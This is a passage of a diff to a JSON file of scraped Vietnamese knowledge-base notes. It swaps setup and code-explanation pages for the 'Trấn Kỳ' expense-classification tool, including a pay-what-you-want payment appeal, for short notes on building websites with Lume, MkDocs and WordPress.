kỳ?utm_source=CW+%C2%BB+Ti%E1%BA%BFp+th%E1%BB%8B+s%E1%BB%91%2C+x%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+1.2+L%E1%BA%A5y+code&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3) là để giúp Kendy, và vì Kendy vẫn còn gặp khó khăn, bọn mình mong muốn bạn cũng sẽ góp phần hỗ trợ Kendy.\r\n\r\nVì bọn mình muốn Trấn Kỳ là của bạn, nên **giá của nó do bạn quyết định**. Với những giá trị bạn nhận được từ Trấn Kỳ, thì bạn nghĩ rằng nó xứng đáng được trả bao nhiêu? *Giả sử* bạn nghĩ nó đáng 5 triệu đồng, và hiện tại việc trả trước 200.000đ không làm bạn đắn đo, thì bọn mình sẽ gửi Trấn Kỳ cho bạn. Phần 4.800.000đ còn lại bạn có thể trả góp sau, hoặc đổi bằng việc tham gia hỗ trợ Kendy bằng cách hỗ trợ phát triển Trấn Kỳ. Và cũng vì công sức lao động là của bạn, nên **giá của nó cũng do bạn quyết định**. Ví dụ bạn thấy rằng với mỗi công việc hỗ trợ bạn xứng đáng nhận được 1 triệu đồng. Vậy thì bạn chỉ cần làm 5 công việc, bọn mình sẽ trả lại cho bạn 200.000đ. Bọn mình nghĩ làm như vậy sẽ [thú vị và ý nghĩa](https://obsidian.quảcầu.cc/%F0%9F%93%90%20d%E1%BB%B1%20%C3%A1n/tr%E1%BA%A5n%20k%E1%BB%B3/9%20blog/l%E1%BB%9Di%20m%E1%BB%9Di%20x%C3%A2y%20d%E1%BB%B1ng%20m%E1%BB%99t%20startup%20%C4%91%E1%BB%83%20l%C3%A0m%20nh%E1%BB%AFng%20vi%E1%BB%87c%20m%E1%BB%99t%20ng%C6%B0%E1%BB%9Di%20b%E1%BA%A1n%20s%E1%BA%BD%20l%C3%A0m/?utm_source=CW+Ti%E1%BA%BFp+th%E1%BB%8B+s%E1%BB%91%2C+x%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+1.2+L%E1%BA%A5y+code&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=%22th%C3%BA+v%E1%BB%8B%22+){ .md-button .md-button--primary } hơn nhiều.\r\n\r\nBạn hãy gửi tiền vào tài khoản sau:\r\n- **Chủ tài khoản:** Nguyễn Hữu Lộc\r\n- **Số tài khoản:** 0777.85.00.94\r\n- **Ngân hàng:** TPBank\r\n- **Lời nhắn:** TRANKY [email của bạn] [lần gửi] [mức giá của Trấn Kỳ bạn nghĩ nó xứng đáng nhận được] \r\n\r\nNếu tình trạng của bạn làm bạn khó làm được bất kỳ điều gì, và thực sự là Trấn Kỳ là giải pháp để giải quyết nhiều gánh nặng của bạn, bạn hãy gửi một email đến địa chỉ [quacau.thesphere@gmail.com](mailto:quacau.thesphere@gmail.com) để giải thích thêm về tình trạng của bạn và việc dùng chương trình này sẽ giúp ích cho bạn thế nào. Bọn mình sẽ gửi link cho bạn.\r\n\r\nRất mong bạn hiểu cho bọn mình. Sau khi Kendy đã hết khó khăn rồi, bọn mình sẽ công khai link cho mọi người.\r\n\r\nXem thêm:: [Hỏi đáp về việc bán Trấn Kỳ](https://obsidian.quảcầu.cc/📐 dự án/trấn kỳ/9 blog/hỏi đáp về việc bán trấn kỳ/?utm_source=CW+%C2%BB+X%E1%BB%AD+l%C3%BD+d%E1%BB%AF+li%E1%BB%87u+v%C3%A0+l%E1%BA%ADp+tr%C3%ACnh+%C2%BB+1.2+L%E1%BA%A5y+code&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3){ .md-button .md-button--primary }\r\n\r\n\r\nKết quả đầu ra sẽ là:\r\n", + "Toàn bộ nội dung": "[Remote files - Lume](https://lume.land/docs/core/remote-files/)\nNguồn:: [Discord](https://discord.com/channels/794537085641818124/794537086278828094/1271783746122678283)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zl" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-06T15:55:00.000Z", + "id": "dU" }, { - "Tiêu đề": "1.3 Tải code", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/1. Cài đặt và sử dụng nhanh/1.3 Tải code", + "Tiêu đề": "Tất cả các đường dẫn đều bắt đầu từ src", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Lume/Tất cả các đường dẫn đều bắt đầu từ src", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "1. Mở VS Code\r\n2. Mở bảng lệnh trong VS Code bằng tổ hợp phím <kbd>Ctrl + Shift + P</kbd>\r\n3. Tại dấu nhắc bảng lệnh, tìm kiếm và chọn lệnh **Git: Clone**, sau đó chọn **Clone from GitHub** và nhấn **Enter**\r\n ![lệnh gitcl trong dấu nhắc bảng lệnh của Visual Studio Code](https://learn.microsoft.com/en-us/azure/developer/javascript/media/how-to-clone-github-repo/visual-studio-code-git-clone.png)\r\n4. Đăng nhập vào tài khoản GitHub của bạn\r\n5. Nhập link chứa code vào\r\n6. Chọn (hoặc tạo) thư mục mà bạn muốn lưu code \r\n7. Nhấn **Enter**\r\n", + "Toàn bộ nội dung": "[[Tất cả mọi thứ đều phải ở trong thư mục src]]\r\nNguồn:: ", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-10-30T07:29:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zm" + "Ngày cập nhật": "2024-09-01T10:43:00.000Z", + "id": "dV" }, { - "Tiêu đề": "2. Thiết lập chương trình", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình/2. Thiết lập chương trình", + "Tiêu đề": "Tất cả mọi thứ đều phải ở trong thư mục src", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Lume/Tất cả mọi thứ đều phải ở trong thư mục src", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Để Trấn Kỳ có thể phân loại tự động được, bạn cần phải thiết lập cấu hình. Các cấu hình được khai báo nằm trong thư mục `A. Cấu hình`. Chúng ở định dạng YAML. Cấu trúc cơ bản của nó như sau:\r\n```yaml\r\nKhai báo:\r\n - Tên chiều: \r\n Dữ liệu tự nhận dạng: \r\n\tGiá trị mặc định: \r\n Ký tự để nhập trực tiếp:\r\n Từ:\r\n Nhãn:\r\n Tên gọi đầu ra:\r\n Từ: \r\n Nhãn: \r\nViết tắt:\r\nFibery:\r\nKeep\r\n```\r\nVí dụ:\r\n```yaml\r\nKhai báo:\r\n - Tên chiều: Món đồ\r\n Dữ liệu tự nhận dạng: \r\n - Lương thực: lương thực, ăn sáng, ăn trưa, ăn chiều, ăn tối, cơm sáng, cơm trưa, cơm tối, bánh mì, rau, đồ hộp, cơm bụi, nước, bình nước\r\n - Xe: xăng, nhớt xe, sửa xe, gửi xe, grab, thuê xe, xe đò, tài xế\r\n - Tên chiều: Phương thức thanh toán\r\n Dữ liệu tự nhận dạng: \r\n - Tài khoản ngân hàng: agri, vcb\r\n - Ví điện tử: momo, zalopay\r\n - Tiền mặt: tiền mặt\r\n    Giá trị mặc định: tiền mặt\r\n - Tên chiều: Người thụ hưởng\r\n Dữ liệu tự nhận dạng: \r\n - Tài khoản ngân hàng: agri, vcb\r\n - Ví điện tử: momo, zalopay\r\n - Tiền mặt: tiền mặt\r\n    Giá trị mặc định: tiền mặt\r\n - Tên chiều: Người thụ hưởng\r\n Dữ liệu tự nhận dạng:\r\n - Gia đình: bản thân, vợ, con\r\n - Nhà vợ: ba vợ, má vợ, chị dâu, em dâu\r\n Giá trị mặc định: Bản thân\r\n Ký tự để nhập trực tiếp:\r\n Từ: \"@\" \r\n Nhãn: \"@@\" \r\n - Tên chiều: Số tiền\r\n - Tên chiều: Ghi chú\r\n Ký tự để nhập trực tiếp:\r\n Từ: \"(\", \")\"\r\n\r\nViết tắt: \r\n - ăn sáng: as, ss\r\n - chuyển khoản: ck\r\n - cà phê: cafe, cf\r\n```\r\n> [!Attention] Lỗi sai thường gặp khi viết YAML\r\n> - Dùng tab để thụt đầu dòng\r\n> - Số dấu cách ở đầu mỗi dòng không chính xác\r\n> - Không để các ký tự đặc biệt vào dấu ngoặc kép\r\nNếu bạn cần dùng các ký tự này: `{`, `}`, `[`, `]`, `&`, `*`, `#`, `?`, `|`, `-`, `<`, `>`, `=`, `!`, `%`, `@`, `:`, `` ` ``, `,` thì cần để vào dấu ngoặc kép.\r\n> \r\n> Để đảm bảo việc viết cú pháp đúng bạn có thể dùng [YAML Viewer](https://codebeautify.org/yaml-viewer-online)\r\n\r\n## Các chiều đặc biệt\r\nNếu bạn khai báo một trong những chiều này thì cần lưu ý thêm:\r\n### `Món đồ`\r\n- Những món đồ cùng nhãn thì chỉ hiển thị một nhãn. Ví dụ: nếu câu nhập là `thịt 50k, cá 20k` thì nhãn sẽ là `Lương thực`, không phải `Lương thực, Lương thực`\r\n- Nếu trong câu nhập có nhiều món đồ cùng nhãn thì chỉ lấy một nhãn\r\n\r\n### `Phương thức thanh toán`\r\nNếu trong câu nhập có nhiều phương thức thanh toán thì chỉ lấy cái cuối cùng, còn tất cả những cái phía trước chỉ là thông tin. Ví dụ, nếu câu nhập là `đáo hạn shinhan` thì `shinhan` sẽ là `Phương thức thanh toán`. Nhưng nếu câu nhập là `đáo hạn shinhan bằng vcb` thì `vcb` sẽ là `Phương thức thanh toán`.\r\n\r\n### `Số tiền`\r\n- Số tiền sẽ là các số có đuôi là tr, k, đ, d. Nếu không có đơn vị thì sẽ không xem là số tiền\r\n- Nếu có nhiều giá trị thì sẽ lấy tổng. Nếu muốn chọn một giá trị nào đó thì thêm dấu bằng phía trước nó (`=`). Ví dụ:\r\n\t - `cá 50k thịt 40k` → `90000`.\r\n\t - `cá 50k thịt = 40k`→ `40000`\r\n\r\n- Dấu thập phân là dấu chấm (`.`). Bạn có thể dùng dấu phẩy (`,`) để cách các con số để dễ đọc. Nó sẽ được bỏ đi. Ví dụ: 1.2tr, 3,400k, 123,456,700đ, 123,456,700d.\r\n\r\n\r\n## Một số phím tắt thường dùng cho việc đọc hiểu code\r\n\r\n| Phím tắt | Chức năng |\r\n| ---------------- | --------------------------------------------------------- |\r\n| Alt + Z | Word wrap |\r\n| Ctrl + Shift + . | Mở danh sách các hàm và biến |\r\n| F12 | Đến nhanh những nơi hàm hoặc biến được sử dụng |\r\n| Ctrl + Space | Mở danh sách gợi ý điền nhanh |\r\n| Ctrl + K Z | Mở zen mode |\r\n| Ctrl + \\ | Chia màn hình thành các editor (hay còn gọi là tab group) |\r\n| Ctrl + 1, 2, 3 | Di chuyển giữa các editor |\r\n| F6 | Đổi panel |\r\n| Ctrl + B | Mở sidebar trái (VS Code gọi là primary sidebar) |\r\n| Ctrl + Shift + B | Mở sidebar phải (VS Code gọi là secondary sidebar) |\r\n\r\nXem thêm:: [[YAML được sinh ra để con người đọc và viết metadata một cách dễ dàng]]\r\nXem thêm:: [[Phím tắt trong VS Code]]\r\nXem thêm:: [[Giao diện VS Code]]\r\n\r\n```yaml\r\n - Tên chiều: Món đồ \r\n Tên gọi đầu ra:\r\n Từ: (Item)\r\n Nhãn: (Loại chi tiêu) \r\n```\r\nNếu em không có mục `Tên gọi đầu ra` thì kết quả giống như trong hình. Nếu có thì `Món đồ` sẽ có tên là `(Item)`, còn `Loại món đồ` sẽ có tên `(Loại chi tiêu)`", + "Toàn bộ nội dung": "Mặc định `src` nằm ở `.`. Để thay đổi thì thêm cái này trong `_config.ts`:\n```js\nconst site = lume({\n src: \"./src\",\n});\n```\n[[Tất cả các đường dẫn đều bắt đầu từ src]]\nNguồn:: [The \\_config file - Lume](https://lume.land/docs/configuration/config-file/#src)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zn" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-08T14:39:00.000Z", + "id": "dW" }, { - "Tiêu đề": "Sử dụng main.ts", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình/Sử dụng main.ts", + "Tiêu đề": "Bất cứ một tệp nào trong overrides sẽ thay thế tệp ở theme gốc", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/MkDocs/Bất cứ một tệp nào trong overrides sẽ thay thế tệp ở theme gốc", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "[[Sử dụng tranky.py]] \r\n", + "Toàn bộ nội dung": "```yaml\ntheme:\n name: material\n custom_dir: overrides\n```\nNguồn:: [Customization - Material for MkDocs](https://squidfunk.github.io/mkdocs-material/customization/#extending-the-theme)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-13T14:35:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zo" + "Ngày tạo": "2023-10-19T14:00:00.000Z", + "Ngày cập nhật": "2024-09-01T10:43:00.000Z", + "id": "dX" }, { - "Tiêu đề": "Sử dụng tranky.py", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình/Sử dụng tranky.py", + "Tiêu đề": "main.html là template", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/MkDocs/main.html là template", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "", + "Toàn bộ nội dung": "By default, MkDocs uses the `main.html` template of a theme to render Markdown pages. You can use the `template` meta-data key to define a different template file for that specific page. The template file must be available on the path(s) defined in the theme's environment.\n\nNguồn:: [Writing Your Docs - MkDocs](https://www.mkdocs.org/user-guide/writing-your-docs/#meta-data)\n\n[[main.html mở rộng base.html]] \n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-10-13T14:36:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zp" + "Ngày tạo": "2023-10-19T11:16:00.000Z", + "Ngày cập nhật": "2024-09-06T15:54:00.000Z", + "id": "dY" }, { - "Tiêu đề": "Thiết lập trên Fibery", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/2. Thiết lập chương trình/Thiết lập trên Fibery", + "Tiêu đề": "main.html mở rộng base.html", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/MkDocs/main.html mở rộng base.html", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```\r\nPS D:\\QC supplements\\Code\\Apps\\Trấn Kỳ\\Thành phần bổ trợ\\Bundle> deno run --allow-all --allow-env build.ts\r\n __________________________________________\r\n/ \"Code chạy trên Finance-Transaction cho \\\r\n| Fibery.js\" đã được dựng xong và được lưu |\r\n| . Nó cũng đã được copy sẵn vào clipboard |\r\n\\ và sẵn sàng để dán. /\r\n ------------------------------------------\r\n \\\r\n \\ _\r\n / )\r\n / /\r\n //| \\ \\\r\n .-'^ \\ .-'''''-. \\ \\\r\n o' {|} \\_/ \\ / /\r\n '--, _ // .---. \\ / /\r\n ^^^' )/ ,/ \\ \\/ /\r\n ( /) /\\/ /\r\n / / ( / ( /\r\n ___/ /) ( __/ __\\ (\r\n (((__)((__)((__(((___)\r\n```\r\n\r\n\r\nNếu bạn chỉ muốn sử dụng tính năng mặc định thì làm như sau:\r\n1. Copy nội dung của file [](./final.js)\r\n2. Mở Fibery, Ở thẻ Actions chọn Created và Updated, với field là Name như hình:\r\n![](https://i.imgur.com/8iVGxfO.png)\r\n3. Nhập câu nhập bất kỳ và kiểm tra\r\n\r\nĐể kiểm tra kết quả tính toán, vào thẻ Activity\r\n", + "Toàn bộ nội dung": "```django\n{% extends \"base.html\" %}\n\n{% block htmltitle %}\n<title>Custom title goes here\n{% endblock %}\n```\nNguồn:: [Customizing Your Theme - MkDocs](https://www.mkdocs.org/user-guide/customizing-your-theme/#overriding-template-blocks)\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-24T15:04:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zq" + "Ngày tạo": "2023-10-19T13:37:00.000Z", + "Ngày cập nhật": "2024-09-01T10:43:00.000Z", + "id": "dZ" }, { - "Tiêu đề": "3.1 Mô hình xử lý dữ liệu", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/3. Hiểu code nói gì/3.1 Mô hình xử lý dữ liệu", + "Tiêu đề": "Muốn cái nào làm trang chủ thì để tên là index.html", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Muốn cái nào làm trang chủ thì để tên là index.html", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Hai khối dữ liệu quan trọng nhất trong Trấn Kỳ là khối khai báo và khối câu nhập. Chúng đều có $n$ chiều. Các chiều này được khai báo trong cấu hình. Trong mỗi chiều lại chứa $2$ danh sách: danh sách từ và danh sách nhãn. Ví dụ, trong chiều chi tiêu của khốiKhaiBáo $2$ danh sách này có dạng như sau:\r\n- danhSáchTừ: `['rau' , ... , 'xăng', 'nhớt xe', ... ]`\r\n- danhSáchNhãn: `['Lương thực', ... , 'Xe' , 'Xe', ... ]`\r\n\r\nTa biết được nhãn của mỗi từ thông qua việc chúng có cùng chỉ số với nhau.\r\n\r\nTa có thể gọi những danh sách này qua các chỉ số trong vật thể. Ví dụ:\r\n- danhSáchTừ của chiều chi tiêu của khốiKhaiBáo: `khốiKhaiBáo[0][0]`\r\n- danhSáchNhãn của chiều chi tiêu của khốiKhaiBáo: `khốiKhaiBáo[0][1]`\r\n\r\n- danhSáchTừ của chiều PTTT của khốiKếtQuả: `khốiKếtQuả[1][0]`\r\n- danhSáchNhãn của chiều PTTT của khốiKếtQuả: `khốiKếtQuả[1][1]`\r\n\r\nNói chung, chỉ số của một danh sách có dạng `tênVậtThể[i][j]`, với:\r\n- $i$ là chỉ số chiều:\r\n - $i = 0$: chi tiêu\r\n - $i = 1$: phương thức thanh toán\r\n - $i= 2$: nơi mua\r\n - ...\r\n- $j$ là chỉ số danh sách:\r\n - $j = 0$: danh sách từ\r\n - $j = 1$: danh sách nhãn của từ\r\n - $j = 2$: danh sách vị trí của từ (chỉ có ở khốiKếtQuả) \r\n\r\nVí dụ, với câu nhập `gạo, xà bông 50k ở chợ vợ trả` thì khốiKếtQuả sẽ trông như sau:\r\n\r\n| $j →$ $i ↓$ | $0$ | $1$ | $2$ |\r\n| ----------- | ---------------------- | --------------------------------------------------- | ----------------------- |\r\n| $0$ | `[ 'gạo', 'xà bông' ]` | `[ 'Lương thực/tinh bột', 'Sinh hoạt/đồ vệ sinh' ]` | `[ [0, 3]`, `[5, 12]` ] |\r\n| $1$ | `[ 'vợ trả' ]` | `[ 'Tiền mặt' ]` | `[ [23, 29]` ] |\r\n| $2$ | `[ 'chợ' ]` | `[ 'Tiểu thương' ]` | `[ [19, 22]` ] |\r\n\r\nXem thêm ưu và nhược điểm của cách biểu diễn dữ liệu này và của những cách khác tại đây: https://softwareengineering.stackexchange.com/q/446480/192731\r\n\r\n\r\n[[Hướng dẫn đọc code cho người thấy việc biết lập trình là quan trọng nhưng không thể biến nó trở thành ưu tiên cao nhất]]\r\n[[Mô hình trích chọn từ]]\r\n", + "Toàn bộ nội dung": "Nguồn::\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-12T09:42:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zr" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-01T10:43:00.000Z", + "id": "da" }, { - "Tiêu đề": "Chiều, từ và nhãn", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/3. Hiểu code nói gì/Chiều, từ và nhãn", + "Tiêu đề": "Web tĩnh", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/Web tĩnh", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "| Từ khoá | Nhãn = loại chiều = loại món đồ | Chiều | Tên nhãn |\r\n| ---- | ---- | ---- | ---- |\r\n| cá | Thực phẩm | Món đồ | Loại món đồ |\r\n\r\n\r\nChiều là nguyên cái cục.\r\n```ts\r\ninterface KhaiBáoChiều {\r\n 'Tên chiều': TênChiều,\r\n 'Dữ liệu tự nhận dạng': DữLiệuTựNhậnDạng,\r\n 'Ký tự để nhập trực tiếp'?: {Từ: string[], Nhãn: string[]},\r\n 'Tên gọi đầu ra'?: {Từ: string, Nhãn: string}\r\n}\r\n```\r\n", + "Toàn bộ nội dung": "![How to choose your static site generator - YouTube](https://www.youtube.com/watch?v=c9g4UkHkzLs)\n![Lume, the static site generator for Deno – Static Feedback #12 - YouTube](https://www.youtube.com/watch?v=5lj0kCmC7L8)\n![Building digital gardens with QUARTZ – Static Feedback #9 - YouTube](https://www.youtube.com/watch?v=YCvV7Izqggc)", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-16T06:22:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zs" + "Ngày tạo": "2023-10-30T07:29:00.000Z", + "Ngày cập nhật": "2024-09-01T10:43:00.000Z", + "id": "db" }, { - "Tiêu đề": "Ý nghĩa của biểu thức regex trong hàm lọcDữLiệuCầnTựĐộngNhậnDạng()", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/3. Hiểu code nói gì/Ý nghĩa của biểu thức regex trong hàm lọcDữLiệuCầnTựĐộngNhậnDạng()", + "Tiêu đề": "Nội dung của một website WordPress được lưu trữ trong cơ sở dữ liệu dạng bảng", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/Nội dung của một website WordPress được lưu trữ trong cơ sở dữ liệu dạng bảng", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Biểu thức regex chỉ nhận những từ phía trước không có ký tự nào. Như vậy thì người dùng ghi `cát` thì script sẽ không tưởng lầm là có `cá`, ghi `đáo` thì sẽ không tưởng lầm là có `áo`.\n \n Đoạn ghi chú ngay sau đây dành cho người đã có hiểu biết về regex:\n - Ý tưởng ban đầu: dùng `\\\\b + từ + \\\\b`\n - Khó khăn của việc bắt regex tiếng Việt: `\\b` không hỗ trợ cho Unicode. Để bắt Unicode đúng thì có thể thay bằng `\\P{L}`, vốn tương đương với `\\W`. Điều này đòi hỏi ở câu nhập phải thêm 2 khoảng trắng ở 2 bên. Xem thêm: [[Tiếng Việt có 2 cách đặt dấu thanh, căn cứ vào thẩm mỹ hoặc vào ngữ âm]], [[Không dùng b ngay sau ký tự unicode được|Ký tự unicode nếu dùng \\b ngay sau thì không được]]\n - Khó khăn của Fibery: `\\P{L}` chạy rất lâu, mà Fibery chỉ cho thời gian chạy tối đa là 1000ms\n - Khó khăn của bài toán: không dùng `' ' + từ + ' '` được vì ngoài dấu cách ra còn có thể có nhiều dấu câu khác\n- Sau một hồi loay hoay thì dùng phương pháp này:\n```js\nconst khôngPhảiKýTựChữNào = `(\\b|[^aAàÀảẢãÃáÁạẠăĂằẰẳẲẵẴắẮặẶâÂầẦẩẨẫẪấẤậẬbBcCdDđĐeEèÈẻẺẽẼéÉẹẸêÊềỀểỂễỄếẾệỆfFgGhHiIìÌỉỈĩĨíÍịỊjJkKlLmMnNoOòÒỏỎõÕóÓọỌôÔồỒổỔỗỖốỐộỘơƠờỜởỞỡỠớỚợỢpPqQrRsStTuUùÙủỦũŨúÚụỤưƯừỪửỬữỮứỨựỰvVwWxXyYỳỲỷỶỹỸýÝỵỴzZ0123456789-_])`\nconst regex = new RegExp(khôngPhảiKýTựChữNào + từ + khôngPhảiKýTựChữNào, `giu`);\n```\n- Sau đó khi cần dùng tới hàm `replace()` khi thay từ viết tắt thì chuyển lại sang dạng nhìn trước không có và nhìn sau không có (negative lookahead and negative lookbehind):\n```js\nconst ANY_CHAR = '[aAàÀảẢãÃáÁạẠăĂằẰẳẲẵẴắẮặẶâÂầẦẩẨẫẪấẤậẬbBcCdDđĐeEèÈẻẺẽẼéÉẹẸêÊềỀểỂễỄếẾệỆfFgGhHiIìÌỉỈĩĨíÍịỊjJkKlLmMnNoOòÒỏỎõÕóÓọỌôÔồỒổỔỗỖốỐộỘơƠờỜởỞỡỠớỚợỢpPqQrRsStTuUùÙủỦũŨúÚụỤưƯừỪửỬữỮứỨựỰvVwWxXyYỳỲỷỶỹỸýÝỵỴzZ0123456789-_]'\nconst regex = new RegExp('(?Ctrl + Shift + P và chọn *Deno: Initialize Workspace Configuration*\r\n4. Đảm bảo rằng file `launch.json` trong thư mục `.vscode` có dạng như sau:\r\n\r\n```json\r\n{\r\n \"version\": \"0.2.0\",\r\n \"configurations\": [\r\n {\r\n \"request\": \"launch\",\r\n \"name\": \"Launch Program\",\r\n \"type\": \"node\",\r\n \"program\": \"${workspaceFolder}/test/main.debug.js\",\r\n \"cwd\": \"${workspaceFolder}\",\r\n \"runtimeExecutable\": \"XXXXX\",\r\n \"runtimeArgs\": [\r\n \"run\",\r\n \"--unstable\",\r\n \"--inspect-wait\",\r\n \"--allow-all\",\r\n ],\r\n \"attachSimplePort\": 9229\r\n }\r\n ]\r\n}\r\n```\r\nTrong đó XXXXX là đường dẫn đến tập tin `deno.exe`. Có thể kiếm bằng cách bật CMD lên và nhập `where deno`\r\n\r\n# Phím tắt\r\n\r\n\r\n| Phím tắt | Chức năng |\r\n| ---------------- | ---------------- |\r\n| F5 | Chạy code |\r\n| F9 | Tạo breakpoint |\r\n| Ctrl + Shift + D | Mở debug sidebar |\r\n| Ctrl + ` | Mở terminal |\r\n| Ctrl + Shift + Y | Mở debug console | \r\n\r\n## Cách kiểm tra và sửa lỗi\r\n\r\nCài thêm các plugin: Total TypeScript, Turbo Console Log\r\n![](https://i.imgur.com/iWUq8jB.png)\r\n", + "Toàn bộ nội dung": "[MySQL Workbench](https://www.mysql.com/products/workbench/) cũng là một GUI khác. Khác biệt ở chỗ cái này là chương trình cài đặt riêng trên máy, còn phpMyAdmin chạy trên web, nên thường được dùng", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-08-25T07:20:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zw" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-01T10:43:00.000Z", + "id": "df" }, { - "Tiêu đề": "Sử dụng Docker", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/4. Thành phần bổ trợ/Sử dụng Docker", + "Tiêu đề": "WordPress là một hệ thống quản lý nội dung", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/WordPress là một hệ thống quản lý nội dung", "Kho thông tin": "Tiếp thị số, xử lý dữ liệu và lập trình", "Dự án": { "Mã dự án": "C2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "```\r\ndocker run -rm -it kendy/tranky bash\r\n```\r\n", + "Toàn bộ nội dung": "[[Nội dung của một website WordPress được lưu trữ trong cơ sở dữ liệu dạng bảng]]. [[Nội dung trong cơ sở dữ liệu được PHP hiển thị thành HTML]]\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-13T15:12:00.000Z", - "Ngày cập nhật": "2024-08-18T08:05:00.000Z", - "id": "Zx" + "Ngày tạo": "2023-10-24T11:26:00.000Z", + "Ngày cập nhật": "2024-09-01T10:43:00.000Z", + "id": "dg" }, { - "Tiêu đề": "Hướng dẫn sử dụng Trấn Kỳ", - "URL": "https://lậptrình.quảcầu.cc/👏Sản phẩm/Trấn Kỳ/Hướng dẫn sử dụng Trấn Kỳ", + "Tiêu đề": "WordPress viết trên nền PHP", + "URL": "https://lậptrình.quảcầu.cc/🔠Ký tự, văn bản. Quản lý, viết và xuất bản nội dung/Tạo website/WordPress/WordPress viết trên 